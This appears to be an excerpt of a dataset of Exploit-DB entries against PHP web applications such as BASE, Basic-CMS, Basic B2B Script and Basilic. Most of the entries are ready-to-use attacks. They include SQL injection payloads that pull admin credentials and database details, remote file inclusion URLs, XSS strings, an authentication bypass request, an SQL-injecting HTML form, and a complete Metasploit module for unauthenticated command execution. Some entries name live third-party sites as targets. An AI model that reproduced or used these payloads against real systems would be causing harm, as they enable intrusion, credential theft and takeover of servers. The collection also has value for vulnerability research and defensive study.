deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36754
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_uaddr.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
                                 
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                 
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                 
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_uaddr.php?BASE_path=[EV!L]
Exploit-DB #36755
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_user.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
                                  
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                  
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                  
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_user.php?BASE_path=[EV!L]
Exploit-DB #36757
Description: Basic Analysis and Security Engine (BASE) 1.4.5 - 'index.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-02-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/51979/info
                                   
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                   
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                   
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/index.php?BASE_path=[EV!L]
Exploit-DB #43074
Description: Basic B2B Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Basic B2B Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/nC3F4570353/php-scripts/basic-b2b-script
# Demo: http://readymadeb2bscript.com/product/entrepreneur/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15985
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/product_view1.php?pid=[SQL]
# 
# -19'++/*!03333UNION*/+/*!03333SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,(/*!03333Select*/+export_set(5,@:=0,(/*!03333select*/+count(*)/*!03333from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!03333table_name*/,0x3c6c693e,2),/*!03333column_name*/,0xa3a,2)),@,2)),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--+-
# 
# http://localhost/[PATH]/productcompanyinfo.php?id=[SQL]
# 
# 
# Parameter: pid (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: pid=19' AND SLEEP(5) AND 'zgOs'='zgOs
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: id=309' AND 2824=2824 AND 'AWCd'='AWCd
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=309' AND SLEEP(5) AND 'BTCw'='BTCw
# 
# Etc..
# # # # #
Exploit-DB #43266
Description: Basic B2B Script 2.0.8 - 'product_details.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Basic B2B Script 2.0.8 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/professional-b2b-script/
# Version: 2.0.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/product_details.php?id=[SQL]
# 
# -348'++/*!13337UNION*/+/*!13337SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--+--
# 
# http://server/product_details.php?id=-348'++/*!13337UNION*/+/*!13337SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--+--
# 
# # # # #
Exploit-DB #27130
Description: Basic Forum by JM LLC - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-27
Author: Sp3ctrecore

Exploit:
Dear Offensive Security,
I have discovered some vulnerabilities in Basic Forum, developed by JM LLC.

Best regards,
Sp3ctrecore


########## ADVISORY ##########


================================================
Basic Forum by JM LLC - Multiple Vulnerabilities
================================================

Software................: Basic Forum
Software link...........: http://www.jmagness.com/download/Basic_Forum.zip
Vendor..................: JM LLC
Vendor homepage.........: http://www.jmagness.com

Exploit author..........: Sp3ctrecore
Contact.................: sp3ctrecore[at]gmail[dot]com


--------
OVERVIEW
--------

Basic Forum is affected by multiple vulnerabilities.


-------------------
DISCLOSURE TIMELINE
-------------------

04/07/2013 -- Multiple vulnerabilities discovered and reported to the vendor.
19/07/2013 -- The vendor confirmed the vulnerabilities, but has no
time to fix them.
24/07/2013 -- Public disclosure.


---------------
VULNERABILITIES
---------------

[01] MULTIPLE SQL INJECTIONS

I.   new.php - title parameter (POST request).
II.  new.php - post parameter (POST request).
III. post.php?id=1 - reply parameter (POST request).


[02] MULTIPLE CROSS-SITE SCRIPTING

I.   user.php - firstname parameter (POST request): stored XSS.
II.  user.php - bio parameter (POST request): stored XSS.
III. new.php - title parameter (POST request): stored XSS.
IV.  new.php - post parameter (POST request): stored XSS.


[03] Cross-site Request Forgery

I.   user.php - firstname parameter (POST request).
II.  user.php - email parameter (POST request).
III. user.php - password parameter (POST request).
IV.  user.php - bio parameter (POST request).
V.   new.php  - title parameter (POST request).
VI.  new.php  - post parameter (POST request).
VII. post.php - reply parameter (POST request).
Exploit-DB #43314
Description: Basic Job Site Script 2.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: Basic Job Site Script 2.0.5 - SQL Injection
# Dork: N/A
# Date: 10.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://www.phpscriptsmall.com/product/ready-made-job-site-script/
# Version: 2.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
-->
<html>
<body>
<form id="allJobsearch" action="http://localhost/onlinejobsearch/job" method="post">
<input name="keyword" value="1'and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='" type="hidden">
<button type="submit">Ver Ayari</button>
</form>
</body>
</html>
Exploit-DB #6508
Description: Basic PHP Events Lister 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-09-21
Author: 0x90

Exploit:
       _____          ____   _____
      /  _  \ /\  /\ / _  \ /  _  \
      | | | | \ \/ / ||_| | | | | |  
      | | | |  \  /  \_   | | | | |  
      | |_| |  /  \   __\ | | |_| |
      \_____/ / /\ \ |____/ \_____/
              \/  \/

[~] Basic PHP Events Lister Remote SQL Injection

[~] Author: 0x90

[~] HomePage: www.0x90.com.ar

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] Script: Basic PHP Events Lister

[~] site: http://www.mevin.com

[~] Donload: http://www.mevin.com/downloads/Basic-php-events-lister1.0.zip

[~] Vulnerability Class: SQL Injection

[~] Online Demostration: http://www.mevin.com/downloads/events/event.php?id=-0x90+union+select+0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,concat(uname,0x3a,pword),0x90+from+admin--



[~] Exploit:

http://host/event.php?id=-0x90+union+select+0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,concat(uname,0x3a,pword),0x90+from+admin--

# milw0rm.com [2008-09-21]
Exploit-DB #10515
Description: Basic PHP Events Lister 2 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2009-12-17
Author: RENO

Exploit:
---------------------------------------
Basic php-events lister2 ADD ADMIN Exploit ..
---------------------------------------

#####################################################
# [+] Author : RENO #
# [+] Email : R7e@HoTMaiL.coM #
# [+] Site : www.vxx9.cc #
# [+] Team : SauDi ViRuS TeaM #
# [+] Dork : Powered by: mevin productions #
# [+] Script : Basic php-events lister2 #
#####################################################

[+] download : http://www.mevin.com/downloads/Basic-php-events-lister2.zip


The exploit :

Get in :

http://localhost/path/admin/add_user.php

and add your user ..

Example : r7e@hotmail.com - 123456

Then get in :

http://localhost/path/admin/login.php

and good luck :D

Thanks to : Allah ..


Greets : Jetli007 , ! BaD BoY ! , Dr.php , Gov.Hacker , AnTi SeCuRe ,
Dr.$audi , All Vxx9.Cc Members
Exploit-DB #49741
Description: Basic Shopping Cart 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-04-05
Author: Viren Saroha

Exploit:
# Exploit Title: Basic Shopping Cart 1.0 - Authentication Bypass
# Date: 2021-04-03
# Exploit Author:  Viren Saroha (illusion)
# Vendor Homepage: https://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=10964&title=Basic+Shopping+Cart+using+PHP%2FMySQL+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

POC

Step 1 -  Go to url http://localhost/EdgeSketch/index.php and Click on Admin
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in burpsuite
Step4 – Change the username to   ' or '1'='1'#
Step 5 – Click forward and now you will be logged in as admin.

REQUEST

POST /EdgeSketch/adminlogin.php HTTP/1.1
Host: localhost
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/EdgeSketch/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=6b7072bb40c321cb336aacef057a0876
Connection: close

admin_username=%27+or+%271%27%3D%271%27%23&admin_[CREDENTIAL_REDACTED]_login=
Exploit-DB #33644
Description: Basic-CMS - 'nav_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-12
Author: Red-D3v1L

Exploit:
source: https://www.securityfocus.com/bid/38235/info

Basic-CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/pages/index.php?&nav_id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #32606
Description: Basic-CMS - 'q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-29
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32531/info

Basic CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/pages/index.php?q=<script>alert(1369)</script>
Exploit-DB #7261
Description: Basic-CMS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-28
Author: CWH Underground

Exploit:
==================================================================
  Basic PHP CMS (index.php id) Blind SQL Injection Vulnerability
==================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 27 November 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Basic PHP CMS
 DOWNLOAD    : http://www.content-management-software.us/basiccms.zip
#####################################################

--- Blind SQL Injection ---

-----------------------------
 Vulnerable File (index.php)
-----------------------------

if ($strID != "")
{
	$strsql = "SELECT description ";
	$strsql .=" FROM pages_t_details ";
	$strsql .=" WHERE id=$strID";
	$conclass =new DataBase();
	$rst= $conclass->Execute ($strsql,$strError);
	if ($strError=="")
	{
		while ($line = mysql_fetch_array($rst, MYSQL_ASSOC)) 
	     {
			$strDetails=$line['description'];
		}
	}
	
}

---------
 Exploit
---------

Test Blind SQL Injection in MYSQL Version 5

True
[+] http://[Target]/[basiccms_path]/index.php?id=1 and substring(@@version,1,1)=5--

False
[+] http://[Target]/[basiccms_path]/index.php?id=1 and substring(@@version,1,1)=4--


#######################################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

# milw0rm.com [2008-11-28]
Exploit-DB #7260
Description: Basic-CMS - Remote Database Disclosure
Type: webapps
Platform: php
Date: 2008-11-28
Author: Stack

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Basic-cms (ASP)
D0wn : http://www.basic-cms.com/download-basiccms.zip
Author : Mountassif Moad
 Evil Finger / v4 Team
Vulnerability : Database Disclosure Vulnerability
---------------------------------------------------------
#########################################################
http://www.site.com/acm2000.mdb

# milw0rm.com [2008-11-28]
Exploit-DB #5836
Description: Basic-CMS - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-17
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## BaSiC-CMS ( index.php r )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script : BaSiC-CMS
##
## site   : www.Basic-CMS.de
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/pages/
##          index.php?r=&page_id=-74+union+select+1,1,1,convert(concat_ws(0x2F2A2A2F,version(),current_user,database())+using+latin1),1,1--
##
##  -(:: L!VE DEMO ::)-
##
##    http://demo.basic-cms.de/pages/index.php?r=&page_id=-74+union+select+1,1,1,convert(concat_ws(0x2F2A2A2F,version(),current_user,database())+using+latin1),1,1--
##
#######################
#######################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-17]
Exploit-DB #34688
Description: Basilic 1.5.13 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-27
Author: PLATEN

Exploit:
source: https://www.securityfocus.com/bid/43372/info

Basilic is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Basilic 1.5.13 is vulnerable; other versions may also be affected. 

http://www.example.com/publications/index.php?author=1<iframe/+/onload=alert(5555555)>
Exploit-DB #9246
Description: Basilic 1.5.13 - 'index.php?idAuthor' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-24
Author: NoGe

Exploit:
==================================================================================================


  [o] Basilic 1.5.13 SQL Injection Vulnerability

       Software : Basilic version 1.5.13
       Vendor   : http://artis.imag.fr/Software/Basilic/
       Download : http://artis.imag.fr/Software/Basilic/basilic-1.5.14.tar.gz
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


==================================================================================================


  [o] Vulnerable file


       index.php



  [o] Exploit

       http://localhost/[path]/index.php?idAuthor=[SQL]



  [o] Proof of concept

       http://secure.ntsg.umt.edu/publications/index.php?idAuthor=-31+union+select+1,version()--
       http://www.iarc.uaf.edu/publications/allpubs.php?idAuthor=-19+union+select+1,version()--



  [o] Dork

       "Powered by Basilic"


==================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.net ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


==================================================================================================

# milw0rm.com [2009-07-24]
Exploit-DB #19631
Description: Basilic 1.5.14 - 'diff.php' Arbitrary Command Execution (Metasploit)
Type: webapps
Platform: php
Date: 2012-07-09
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
			'Description'    => %q{
					This module abuses a metacharacter injection vulnerability in the
				diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
				commands as the www-data user account.
			},
			'Author'         =>
				[
					'lcashdollar',
					'sinn3r',
					'juan'
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'BID', '54234' ]
				],
			'Platform'       => ['linux', 'unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 28 2012'
		))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
			], self.class)
	end


	def check
		base = target_uri.path
		base << '/' if base[-1, 1] != '/'

		sig = rand_text_alpha(10)

		res = send_request_cgi({
			'uri'  => "/#{base}/Config/diff.php",
			'vars_get' => {
				'file' => sig,
				'new'  => '1',
				'old'  => '2'
			}
		})

		if res and res.body =~ /#{sig}/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end


	def exploit
		print_status("Sending GET request...")

		base = target_uri.path
		base << '/' if base[-1, 1] != '/'

		res = send_request_cgi({
				'uri' => "/#{base}/Config/diff.php",
				'vars_get' => {
					'file' => "&#{payload.encoded} #",
					'new'  => '1',
					'old'  => '2'
				}
			})

		if res and res.code == 404 then
			print_error("404 Basilic not installed or possibly check URI Path.")
		else
			vprint_line(res.body) if res
		end

		handler
	end
end
Exploit-DB #20538
Description: Basilix Webmail 0.9.7 - Incorrect File Permissions
Type: webapps
Platform: php
Date: 2001-01-11
Author: Tamer Sahin

Exploit:
source: https://www.securityfocus.com/bid/2198/info

A vulnerability has been reported in basilix webmail v. 0.9.7b.

Basilix Webmail ships with several configuration files that have the file extensions '.class' and '.inc'. Among other things, these files contain the authentication information for the MySQL database that the product uses.

These files reside in directories accessible via http. If the webserver is not configured to treat .class and .inc files as PHP scripts,they can be retrieved by remote users.

Properly exploited, this information can allow further attacks on the affected host.

http://target/class/mysql.class
http://target/inc/sendmail.inc (settings.inc and etc.)